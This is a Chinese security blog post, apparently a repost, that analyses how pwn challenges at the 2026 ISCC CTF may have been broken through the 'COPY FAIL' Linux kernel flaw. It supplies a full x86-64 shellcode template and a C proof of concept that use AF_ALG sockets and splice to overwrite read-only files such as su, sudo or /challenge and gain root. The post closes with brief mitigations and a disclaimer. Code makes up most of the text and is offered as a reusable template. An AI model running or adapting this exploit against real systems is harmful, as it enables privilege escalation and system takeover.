ISCC比赛PWN题沦陷,COPYFAIL如何进行攻击(附带模板)

admin 2026-05-07 05:11:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了ISCC比赛中Pwn题利用copyfail漏洞的攻击方法,该漏洞本质是可读文件写提权,通过在容器环境中构造shellcode调用mmap/mprotect开辟可执行内存,将恶意ELF文件改造为shellcode写入并执行,从而修改特权文件获取root权限。 综合评分: 85 文章分类: 二进制安全,漏洞poc,ctf


cover_image

ISCC比赛PWN题沦陷,COPY FAIL如何进行攻击(附带模板)

原创

Zer0day安全团队 Zer0day安全团队

Zer0day安全

2026年5月6日 19:27 天津

在小说阅读器读本章

去阅读

ISCC比赛PWN题沦陷,COPY FAIL如何进行攻击(附带模板)

前言

2026年ISCC又没有让人失望爆了一堆典。除了z神以外,ISCC比赛平台里的pwn题也被几度打穿。

导致nc进去就能获取shell,并且还有爆笑奶龙,谁看谁都绷不住。我也一直在思考攻击者所用手段。结合群内讨论和前几天曝出的COPY FAIL提权漏洞,我们尝试分析并做出如下推测。

COPY FIAL漏洞分析

经过我们深入研究了一下COPY FAIL漏洞,其本质是可读文件写而并非直接提取,网传POC脚本是通过将具有特殊权限文件(su, sudo)修改成恶意文件,执行修改后的文件就可以直接提权获取root权限。

所以理论上攻击者应该是利用 COPY FAIL 的任意文件写,把容器的题目换成其构造好的elf文件。

容器环境分析

我们分析了一下 ISCC 的容器环境:不可创建文件,无可写文件,bin目录下只有 sh、ls、cat三个文件。按常理来说我们无法执行恶意的python脚本或者上传恶意ELF文件执行。这也是群里大家疑惑为什么这种环境下copy fail还是可以被利用。

利用原理

经过相当长时间的思考,我突然想到,虽然没用elf文件可以创建,但是因为题目本身的漏洞,我们通过构造是可以执行任意代码的(shellcode)。执行elf文件本质也是执行一个一个的汇编语句。那么我们可以将恶意elf文件经过一点改造,得到一段可以进行copy fail漏洞利用的shellcode,在题目中通过mmap或者mprotect得到一段可写可执行的内存区域,将得到的shellcode写进入,从而完成漏洞利用。

| | | — | | 攻击全链路                通过 shellcode 调用 mmap / mprotect                 在内存中开辟一段 可写+可执行 的内存区域                  (绕过文件系统限制)                                                ▼                   构造并注入恶意代码                                   将恶意 ELF 文件 “改造” 为 shellcode 形式 (提取机器码 + 调整位置无关性)                                         ▼                                    通过题目漏洞将 shellcode 写入 刚开辟的可执行内存区域                    ▼                    触发 COPY FAIL 漏洞   执行 shellcode        ↓               触发 COPY FAIL 漏洞  (任意可读文件写,修改特殊权限文件)               ↓                  例如:覆写 /challenge 为恶意内容 |

这么想来其实原理相当简单,只不过一直没有想到。

利用示例

这里我尝试构造了一个shellcode内容,该shellcode模板提供了 writeAll 函数,通过调用该函数便能实现对任意文件写。

| | | — | | Python                      # writeAll(int fd, char* buf, int len)                          shellcode = f”””                       writeAll:                       push r12                       push r13                       push r14                       push r15                       mov r12, rdi                       mov r13, rsi                       mov r14, rdx                       xor r15, r15                       mov rax, 9                       mov rdi, 0                       lea rsi, 12[r14]                       mov rdx, 3                       mov r10, 34                       mov r8, -1                       mov r9, 0                       syscall             push rax                       loop:                       cmp r15, r14                       jge exitLoop                       mov rdi, r12                       mov rsi, r15                       mov rdx, r13                       add rdx, r15                       mov rcx, [rsp]                       call write4                       add r15, 4                       jmp loop                       exitLoop:                       sub rsp, 8                       pop r15                       pop r14                       pop r13                       pop r12                       ret                            write4:                       push    r15                       push    r14                       mov r14d, edi                            push    r13                       mov r13, rcx                       push    r12                       xor r12d, r12d                       push    rbp                       mov rbp, rdx                       xor edx, edx                       push    rbx                       mov ebx, esi                       mov esi, 5                       sub rsp, 344                       mov     rdi, rsp                       mov     rcx, 43                       xor     eax, eax                       rep stosq                       mov edi, 38                            mov rax, {libc.sym[‘socket’]}                       call rax                       mov DWORD PTR 4[rsp], eax                       lea r15, 160[rsp]                       mov WORD PTR 160[rsp], 38                       mov DWORD PTR 162[rsp], 1684104545 /* aead */                       mov DWORD PTR 184[rsp], 0x68747561 /* auth */                       mov DWORD PTR 188[rsp], 0x65636e65 /* ence */                       mov DWORD PTR 192[rsp], 0x68286e73 /* sn(h */                       mov DWORD PTR 196[rsp], 0x2863616d /* mac( */                       mov DWORD PTR 200[rsp], 0x32616873 /* sha2 */                       mov DWORD PTR 204[rsp], 0x2c293635 /* 56) */                       mov DWORD PTR 208[rsp], 0x28636263 /* cbc( */                       mov DWORD PTR 212[rsp], 0x29736561 /* aes) */                       mov WORD PTR 216[rsp], 0x29 /* ) */                       mov edi, DWORD PTR 4[rsp]                       mov rsi, r15                       mov edx, 88                       lea r15, 104[rsp]                       mov rax , {libc.sym[‘bind’]}                       call rax                            mov r8d, 40                       mov edx, 1                       mov edi, DWORD PTR 4[rsp]                       lea rcx, 64[rsp]                       mov esi, 279                       mov BYTE PTR 64[rsp], 8                       mov BYTE PTR 66[rsp], 1                       mov BYTE PTR 71[rsp], 16                            mov rax, {libc.sym[‘setsockopt’]}                       call rax                       mov edi, DWORD PTR 4[rsp]                       lea rcx, 20[rsp]                       mov r8d, 4                       mov edx, 5                       mov esi, 279                       mov DWORD PTR 20[rsp], 4                       mov rax, {libc.sym[‘setsockopt’]}                       call rax                            mov edi, DWORD PTR 4[rsp]                       xor edx, edx                       xor esi, esi                       mov rax, {libc.sym[‘accept’]}                       call rax                       lea r8, 264[rsp]                       lea rdx, 40[rsp]                       mov r12d, eax                       mov eax, DWORD PTR 0[rbp]                       mov QWORD PTR 48[rsp], rdx                       lea rsi, 248[rsp]                       mov DWORD PTR 40[rsp], 1094795585                       mov DWORD PTR 44[rsp], eax                       mov QWORD PTR 56[rsp], 8                       mov rdi, r15                       lea rax, 48[rsp]                       mov QWORD PTR 136[rsp], rsi                       mov QWORD PTR 120[rsp], rax                       movabsrax, 12884902167                       mov QWORD PTR 128[rsp], 1                       mov QWORD PTR 144[rsp], 88                       mov QWORD PTR 248[rsp], 20                       mov QWORD PTR 256[rsp], rax                       mov rax, {libc.sym[‘__cmsg_nxthdr’]}                       call rax                       mov rdi, r15                       mov rsi, rax                       mov QWORD PTR [rax], 36                       movabsrax, 8589934871                       mov QWORD PTR 8[rsi], rax                       mov DWORD PTR 16[rsi], 16                       mov rax, {libc.sym[‘__cmsg_nxthdr’]}                       call rax                       mov rsi, r15                       mov edx, 32768                       mov edi, r12d                       movabsrcx, 17179869463                       mov QWORD PTR [rax], 20                       mov QWORD PTR 8[rax], rcx                       mov DWORD PTR 16[rax], 8                       mov rax, {libc.sym[‘sendmsg’]}                       call rax                       lea rdi, 32[rsp]                       mov rax, {libc.sym[‘pipe’]}                       call rax                       mov edx, DWORD PTR 36[rsp]                       lea r8d, 4[rbx]                       mov edi, r14d                       movsx   r8, r8d                       lea rsi, 24[rsp]                       xor eax, eax                       xor r9d, r9d                       xor ecx, ecx                       mov QWORD PTR 8[rsp], r8                       mov QWORD PTR 24[rsp], rax                       mov rax, {libc.sym[‘splice’]}                       call rax                       mov r8, QWORD PTR 8[rsp]                       mov edi, DWORD PTR 32[rsp]                       xor ecx, ecx                       xor r9d, r9d                       mov edx, r12d                       xor esi, esi                       mov rax, {libc.sym[‘splice’]}                       call rax                       lea edx, 8[rbx]                       mov rsi, r13                       xor ecx, ecx                       movsx   rdx, edx                       mov edi, r12d                       mov rax, {libc.sym[‘recv’]}                       call rax                       mov edi, r12d                       mov rax, {libc.sym[‘close’]}                       call rax                       mov edi, DWORD PTR 4[rsp]                       mov rax, {libc.sym[‘close’]}                       call rax                       mov edi, DWORD PTR 32[rsp]                       mov rax, {libc.sym[‘close’]}                       call rax                       mov edi, DWORD PTR 36[rsp]                       mov rax, {libc.sym[‘close’]}                       call rax                       add rsp, 344                       pop rbx                       pop rbp                       pop r12                       pop r13                       pop r14                       pop r15                       ret                   “”” |

编译后约为900字节

使用时需要自行对该shellcode提供的函数进行调用(call writeAll)。

| | | — | | C                   /*                      * writeAll – 向文件描述符写入数据                      *                       * @fd:   目标文件描述符                      * @buf:  待写入数据的缓冲区指针                      * @len:  需要写入的字节数                      *                       * 说明:函数传参规则与正常一致,rdi,rsi,rdx分别为第一,二,三个参数                      */                   writeAll(int fd, char* buf, int len) |

本地测试结果

顺便附带一下Copy fail c语言版本

| | | — | | C                   #define _GNU_SOURCE                   #include  #include  #include  #include  #include  #include  #include  #include  #include  #ifndef AF_ALG                   #define AF_ALG 38                   #endif                   #ifndef SOL_ALG                   #define SOL_ALG 279                   #endif                   #ifndef MSG_MORE                   #define MSG_MORE 0x8000                   #endif                   #define ALG_SET_KEY             1                   #define ALG_SET_IV              2                   #define ALG_SET_OP              3                   #define ALG_SET_AEAD_ASSOCLEN   4                   #define ALG_SET_AEAD_AUTHSIZE   5                   #define ALG_OP_DECRYPT          0                   #define CRYPTO_AUTHENC_KEYA_PARAM 1                   void write4(int fd_target, int splice_base, const unsigned char payload[4], char * rbuf)                   {                       int master = socket(AF_ALG, SOCK_SEQPACKET, 0);                       //if (master < 0) { perror("socket"); exit(1); }                       struct sockaddr_alg sa = { .salg_family = AF_ALG };                       memcpy(sa.salg_type, "aead", 5);                       strncpy((char *)sa.salg_name,                               "authencesn(hmac(sha256),cbc(aes))",                               sizeof(sa.salg_name) - 1);                       bind(master, (struct sockaddr *)&sa, sizeof(sa));                       unsigned char keyblob[40];                       memset(keyblob, 0, sizeof(keyblob));                       keyblob[0] = 8;keyblob[1] = 0;                       keyblob[2] = CRYPTO_AUTHENC_KEYA_PARAM;keyblob[3] = 0;                       keyblob[4] = 0;keyblob[5] = 0;keyblob[6] = 0;keyblob[7] = 16;                       setsockopt(master, SOL_ALG, ALG_SET_KEY, keyblob, sizeof(keyblob));                       int authsize = 4;                       setsockopt(master, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, &authsize, sizeof(authsize));                       int op = accept(master, NULL, NULL);                       unsigned char aad[8];                       memcpy(aad, "AAAA", 4);                       memcpy(aad + 4, payload, 4);                       char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20) + CMSG_SPACE(4)];                       memset(cbuf, 0, sizeof(cbuf));                       struct msghdr msg = {0};                       struct iovec iov = { .iov_base = aad, .iov_len = 8 };                       msg.msg_iov = &iov;msg.msg_iovlen = 1;                       msg.msg_control = cbuf;msg.msg_controllen = sizeof(cbuf);                       struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);                       cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_OP; cm->cmsg_len = CMSG_LEN(4);                       *(unsigned int *)CMSG_DATA(cm) = ALG_OP_DECRYPT;                       cm = CMSG_NXTHDR(&msg, cm);                       cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_IV; cm->cmsg_len = CMSG_LEN(20);                       *(unsigned int *)CMSG_DATA(cm) = 16;                       memset((unsigned char *)CMSG_DATA(cm) + 4, 0, 16);                       cm = CMSG_NXTHDR(&msg, cm);                       cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_AEAD_ASSOCLEN; cm->cmsg_len = CMSG_LEN(4);                       *(unsigned int *)CMSG_DATA(cm) = 8;                       sendmsg(op, &msg, MSG_MORE);                       int pipefd[2];                       pipe(pipefd);                       int bytes_to_transfer = splice_base + 4;   /* o = t + 4 */                       loff_t off = 0;                       splice(fd_target, &off, pipefd[1], NULL, bytes_to_transfer, 0);                       splice(pipefd[0], NULL, op, NULL, bytes_to_transfer, 0);                       recv(op, rbuf, 8 + splice_base, 0);                       close(op); close(master); close(pipefd[0]); close(pipefd[1]);                   }                   void writeFile(int fd_target, const unsigned char *data, size_t len)                   {                       size_t offset = 0;                       char *rbuf = malloc(12 + len);                       for (size_t i = 0; i < len; i += 4) {                           write4(fd_target, i, data + i, rbuf);                       }                       free(rbuf);                   }                   int main()                   {                       int fd = open(“/flag.txt”, O_RDONLY);                       if (fd < 0) { perror(“open”); return 1; }                       char buf[8] = {‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’};                       writeFile(fd, buf, sizeof(buf));                       close(fd);                       return 0;                   } |

总结

事后回顾,这一攻击思路的本质是:在无文件写入权限的极端环境下,通过内存执行技术完成漏洞利用链。攻击者不依赖任何可落地的ELF或脚本,而是将COPY FAIL的利用逻辑转化为位置无关的shellcode,借助mmap/mprotect在内存中构建可执行区域,最终实现对只读文件(如/challenge)的修改。

当然这个手法只是作为一种可行的猜想,并未在远程环境中尝试,说不定攻击者使用手段是其它的手段,这就无从得知了。

这个手法在传统CTF中并不常见。或许能在正常CTF比赛中作为一个考点。

修复建议

1.停止使用公共容器

2.对容器添加沙箱规则限制或禁用algif_aead模块


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Zer0day安全 Zer0day安全团队 Zer0day安全团队《ISCC比赛PWN题沦陷,COPY FAIL如何进行攻击(附带模板)》

评论:0   参与:  0